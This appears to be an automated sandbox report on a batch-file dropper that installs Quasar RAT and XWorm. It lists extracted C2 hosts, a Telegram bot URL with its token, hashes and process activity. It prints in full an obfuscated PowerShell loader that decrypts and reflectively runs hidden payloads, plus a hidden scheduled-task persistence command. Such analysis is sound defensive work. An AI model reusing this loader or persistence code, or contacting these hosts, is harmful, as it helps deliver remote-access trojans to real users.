Resubmissions
Analysis
-
max time kernel
60s -
max time network
70s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
13-04-2024 18:14
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Client-built.bat
Resource
win10v2004-20240412-en
General
-
Target
Client-built.bat
-
Size
1.6MB
-
MD5
566c653ae6a704041aef596fce6d6a8c
-
SHA1
da35608bf372a6113d941817a96bc3a17de9ef69
-
SHA256
950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
-
SHA512
98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
SSDEEP
24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f
Malware Config
Extracted
quasar
1.4.1
Office04
express-divorce.gl.at.ply.gg:22562
6735a92b-88d2-4fbe-8e59-605a85072109
-
encryption_key
8681483EF512C654BECF205A0D74FFCA4B129A98
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Trapix Client Startup
-
subdirectory
SubDir
Extracted
xworm
3.0
traffic-collins.gl.at.ply.gg:24820
uX6FapIHo24Z2JFZ
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284
Signatures
-
Detect Xworm Payload 3 IoCs
Processes:
resource yara_rule behavioral3/memory/2284-12-0x00000233EB790000-0x00000233EB8CA000-memory.dmp family_xworm C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe family_xworm behavioral3/memory/3128-61-0x00000000009B0000-0x00000000009BE000-memory.dmp family_xworm -
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral3/memory/1532-52-0x000002A0739A0000-0x000002A073CC4000-memory.dmp family_quasar -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 13 1532 powershell.exe 15 1532 powershell.exe 16 1532 powershell.exe 19 1532 powershell.exe 21 1532 powershell.exe 22 1532 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
XClientNOT.exepid process 3128 XClientNOT.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-825860316-2493133627-3905166409-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 2284 powershell.exe 2284 powershell.exe 4148 powershell.exe 4148 powershell.exe 1532 powershell.exe 1532 powershell.exe 1532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2284 powershell.exe Token: SeDebugPrivilege 4148 powershell.exe Token: SeIncreaseQuotaPrivilege 4148 powershell.exe Token: SeSecurityPrivilege 4148 powershell.exe Token: SeTakeOwnershipPrivilege 4148 powershell.exe Token: SeLoadDriverPrivilege 4148 powershell.exe Token: SeSystemProfilePrivilege 4148 powershell.exe Token: SeSystemtimePrivilege 4148 powershell.exe Token: SeProfSingleProcessPrivilege 4148 powershell.exe Token: SeIncBasePriorityPrivilege 4148 powershell.exe Token: SeCreatePagefilePrivilege 4148 powershell.exe Token: SeBackupPrivilege 4148 powershell.exe Token: SeRestorePrivilege 4148 powershell.exe Token: SeShutdownPrivilege 4148 powershell.exe Token: SeDebugPrivilege 4148 powershell.exe Token: SeSystemEnvironmentPrivilege 4148 powershell.exe Token: SeRemoteShutdownPrivilege 4148 powershell.exe Token: SeUndockPrivilege 4148 powershell.exe Token: SeManageVolumePrivilege 4148 powershell.exe Token: 33 4148 powershell.exe Token: 34 4148 powershell.exe Token: 35 4148 powershell.exe Token: 36 4148 powershell.exe Token: SeIncreaseQuotaPrivilege 4148 powershell.exe Token: SeSecurityPrivilege 4148 powershell.exe Token: SeTakeOwnershipPrivilege 4148 powershell.exe Token: SeLoadDriverPrivilege 4148 powershell.exe Token: SeSystemProfilePrivilege 4148 powershell.exe Token: SeSystemtimePrivilege 4148 powershell.exe Token: SeProfSingleProcessPrivilege 4148 powershell.exe Token: SeIncBasePriorityPrivilege 4148 powershell.exe Token: SeCreatePagefilePrivilege 4148 powershell.exe Token: SeBackupPrivilege 4148 powershell.exe Token: SeRestorePrivilege 4148 powershell.exe Token: SeShutdownPrivilege 4148 powershell.exe Token: SeDebugPrivilege 4148 powershell.exe Token: SeSystemEnvironmentPrivilege 4148 powershell.exe Token: SeRemoteShutdownPrivilege 4148 powershell.exe Token: SeUndockPrivilege 4148 powershell.exe Token: SeManageVolumePrivilege 4148 powershell.exe Token: 33 4148 powershell.exe Token: 34 4148 powershell.exe Token: 35 4148 powershell.exe Token: 36 4148 powershell.exe Token: SeIncreaseQuotaPrivilege 4148 powershell.exe Token: SeSecurityPrivilege 4148 powershell.exe Token: SeTakeOwnershipPrivilege 4148 powershell.exe Token: SeLoadDriverPrivilege 4148 powershell.exe Token: SeSystemProfilePrivilege 4148 powershell.exe Token: SeSystemtimePrivilege 4148 powershell.exe Token: SeProfSingleProcessPrivilege 4148 powershell.exe Token: SeIncBasePriorityPrivilege 4148 powershell.exe Token: SeCreatePagefilePrivilege 4148 powershell.exe Token: SeBackupPrivilege 4148 powershell.exe Token: SeRestorePrivilege 4148 powershell.exe Token: SeShutdownPrivilege 4148 powershell.exe Token: SeDebugPrivilege 4148 powershell.exe Token: SeSystemEnvironmentPrivilege 4148 powershell.exe Token: SeRemoteShutdownPrivilege 4148 powershell.exe Token: SeUndockPrivilege 4148 powershell.exe Token: SeManageVolumePrivilege 4148 powershell.exe Token: 33 4148 powershell.exe Token: 34 4148 powershell.exe Token: 35 4148 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 4980 wrote to memory of 2284 4980 cmd.exe powershell.exe PID 4980 wrote to memory of 2284 4980 cmd.exe powershell.exe PID 2284 wrote to memory of 4148 2284 powershell.exe powershell.exe PID 2284 wrote to memory of 4148 2284 powershell.exe powershell.exe PID 2284 wrote to memory of 5024 2284 powershell.exe WScript.exe PID 2284 wrote to memory of 5024 2284 powershell.exe WScript.exe PID 5024 wrote to memory of 5008 5024 WScript.exe cmd.exe PID 5024 wrote to memory of 5008 5024 WScript.exe cmd.exe PID 5008 wrote to memory of 1532 5008 cmd.exe powershell.exe PID 5008 wrote to memory of 1532 5008 cmd.exe powershell.exe PID 1532 wrote to memory of 3128 1532 powershell.exe XClientNOT.exe PID 1532 wrote to memory of 3128 1532 powershell.exe XClientNOT.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_134_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_134.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4148 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_134.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_134.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_134.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_134.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1532 -
C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"6⤵
- Executes dropped EXE
PID:3128
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5df472dcddb36aa24247f8c8d8a517bd7
SHA16f54967355e507294cbc86662a6fbeedac9d7030
SHA256e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
SHA51206383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
-
Filesize
1KB
MD54ca42e9cc6de90060a4503debda3ea58
SHA1652f325e5c423876d85ba1a164301ab2d147604b
SHA25667b7e0001e15e60f1e5c92ce49644ce08500a099fd94135d179b8dfe0513567c
SHA51238303f1959a2fe056c3cdba1fc775538c21b20364c25154d9f8ca365f3abf8a240b3d3851b8854ddf33a994ae0ef55b6fdaafe695eef658a2386f0c8e05b1e10
-
Filesize
31KB
MD5dd466e4e324143a67a406797c23ee2bc
SHA1cc369b99c18c9322734b14908e7b21f2bec48118
SHA2561a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8
SHA512603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.6MB
MD5566c653ae6a704041aef596fce6d6a8c
SHA1da35608bf372a6113d941817a96bc3a17de9ef69
SHA256950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
SHA51298662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
Filesize
115B
MD5b05d306b33af9aa7a0d659d7dff16bec
SHA1229a881e9a1900f05445d18337ea0deee8f8ea6f
SHA2565bc18b1286fb36a74fe058481326eba5467432eb53a7d73ac89fde8df36ebd07
SHA512639317b239489750cd1543b265798f323d8b3cb5fac74c54e2cceaf49618ceb02d8e4a8a5e15a8977597eb88f2b6bd13caaac428d85e16f55bfddc386de53bc4